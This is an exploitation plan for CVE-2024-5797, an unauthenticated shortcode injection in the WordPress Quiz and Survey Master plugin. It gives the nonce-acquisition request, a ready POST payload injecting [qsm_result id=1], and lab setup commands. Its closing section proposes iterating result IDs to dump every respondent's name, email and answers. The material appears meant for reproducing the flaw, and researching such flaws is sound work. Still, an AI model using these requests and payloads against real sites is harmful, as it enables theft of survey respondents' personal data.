Exploitation Research Plan: CVE-2024-5797 - Shortcode Injection in Quiz and Survey Master (QSM)

1. Vulnerability Summary

The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to unauthenticated arbitrary shortcode injection in versions up to and including 11.1.0. The vulnerability exists because user-submitted quiz answers are sanitized using sanitize_text_field() and htmlspecialchars(), which strip HTML but fail to remove or encode square brackets [ and ]. When a quiz is submitted via AJAX, the plugin generates a results page based on a template (e.g., using the %QUESTIONS_ANSWERS% variable). Crucially, the plugin then executes do_shortcode() on this final output. An attacker can inject a shortcode like [qsm_result id=X] into a text input answer field. When the results are displayed to the attacker, the injected shortcode executes, disclosing the quiz results of an arbitrary submission ID (X) because the qsm_result shortcode lacks authorization checks.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: qmn_process_quiz (registered in QMNQuizManager::add_hooks)
• Vulnerable Parameter: Question answer fields (e.g., questionX where X is the question ID) and potentially contact fields (e.g., mlwUserName).
• Authentication: Unauthenticated (the plugin registers wp_ajax_nopriv_qmn_process_quiz).
• Preconditions:
  1. A quiz must exist with at least one text-based question (input or textarea).
  2. The "Results Page" template for that quiz must be configured to display the user's answers (default behavior using %QUESTIONS_ANSWERS% or %USER_ANSWERS_DEFAULT%).

3. Code Flow

1. Entry: An unauthenticated user sends a POST request to admin-ajax.php with action=qmn_process_quiz.
2. AJAX Handler: QMNQuizManager::ajax_submit_results() (in php/classes/class-qmn-quiz-manager.php) is triggered.
3. Processing Answers: The plugin iterates through the submitted answers. For text questions, QSM_Question_Review::sanitize_answer_from_post is called, which utilizes sanitize_text_field() or sanitize_textarea_field(). These functions do not neutralize shortcode brackets.
4. Result Generation: After scoring, the plugin prepares the "Message After" content (the results page). It replaces template variables (like %QUESTIONS_ANSWERS%) with the user-provided (and injected) answer strings.
5. Shortcode Execution: The plugin calls do_shortcode() on the resulting string.
6. Sink: The WordPress shortcode parser encounters [qsm_result id=X]. It calls QMNQuizManager::shortcode_display_result(), which fetches and returns the quiz result for the specified ID without checking if the current user owns that result.
7. Disclosure: The leaked result data is returned in the AJAX response to the attacker.

4. Nonce Acquisition Strategy

The qmn_process_quiz action requires a nonce. This nonce is generated specifically for each quiz and can be obtained via a secondary AJAX action.

1. Find a Quiz: Identify an existing quiz ID (e.g., 1).
2. Fetch Nonce: Perform an unauthenticated AJAX request to get the nonce for that specific quiz ID.
   • Action: qsm_create_quiz_nonce (registered in QMNQuizManager::add_hooks).
   • Parameter: quiz_id.
3. Extract from Response: The response is a JSON object.
   • Key: response.data.nonce.
   • Note: The response also provides a unique_key which may be required in the submission.

Implementation via Browser Eval:

If navigating to a page containing the quiz:

// Localization object found in js/qsm-quiz.js via qmn_ajax_object
const ajax_url = qmn_ajax_object.ajaxurl;
// You can also find the quiz ID from the HTML (.qsm-quiz-container-ID)

5. Exploitation Strategy

Step 1: Create Target Data

Submit a "legitimate" quiz response to generate a result_id in the database.

Step 2: Obtain Submission Nonce

Request a nonce for the target quiz.

• Request:

  POST /wp-admin/admin-ajax.php HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  
  action=qsm_create_quiz_nonce&quiz_id=1
  

• Capture: nonce and unique_key.

Step 3: Inject Shortcode

Submit a second quiz response containing the injection.

• Request:

  POST /wp-admin/admin-ajax.php HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  
  action=qmn_process_quiz&quiz_id=1&qmn_nonce=[NONCE]&qsm_unique_key=[UNIQUE_KEY]&question1=[qsm_result id=1]&timer=10
  

• Note: question1 assumes the question ID is 1. The payload is [qsm_result id=1].

Step 4: Capture Disclosure

The response to the Step 3 request will contain the rendered HTML of the results page. Look for the output of the [qsm_result] shortcode, which will contain the details (name, email, answers) of result ID 1.

6. Test Data Setup

1. Create Quiz:

   wp eval "global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}mlw_quizzes\", ['quiz_name' => 'Vulnerable Quiz', 'message_after' => 'Results: %QUESTIONS_ANSWERS%', 'deleted' => 0]);"
   # Get the ID (likely 1)
   

2. Create Question:

   wp eval "global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}mlw_questions\", ['quiz_id' => 1, 'question_type_new' => 'text', 'question_name' => 'Enter text', 'answer_array' => serialize([]), 'deleted' => 0]);"
   

3. Ensure Page Exists:

   wp post create --post_type=page --post_status=publish --post_title="Quiz Page" --post_content='[qsm quiz="1"]'
   

4. Generate Legitimate Result:
   Perform one submission via Step 2/3 (without injection) to populate the results table and get a result_id.

7. Expected Results

A successful exploit will return a JSON response where the display or html field contains the rendered results of the other user's submission.
Example snippet in response:

<div class="qsm-results-container">
    <h3>Result for John Doe</h3>
    <p>Email: john@example.com</p>
    ... [Data from Result ID 1] ...
</div>

8. Verification Steps

1. Check Results Table: Confirm multiple entries exist in wp_mlw_results.

   wp db query "SELECT result_id, quiz_id, name, email FROM wp_mlw_results"
   

2. Confirm Vulnerable Code Path: Verify that the text submitted in Step 3 matches the data belonging to the result_id targeted in the shortcode.

9. Alternative Approaches

• Contact Fields: If question fields are heavily sanitized, try injecting into mlwUserName or mlwUserEmail contact fields handled by QSM_Contact_Manager.
• Shortcode Variants: If [qsm_result] is somehow restricted, use other info-disclosing shortcodes like [qsm_leaderboard quiz_id=1] or standard WordPress shortcodes to confirm execution (e.g., [site_value...]).
• Timing/ID Brute Force: Since result_id is an auto-incrementing integer, an attacker can iterate through IDs (e.g., [qsm_result id=1], [qsm_result id=2]) to dump the entire results database.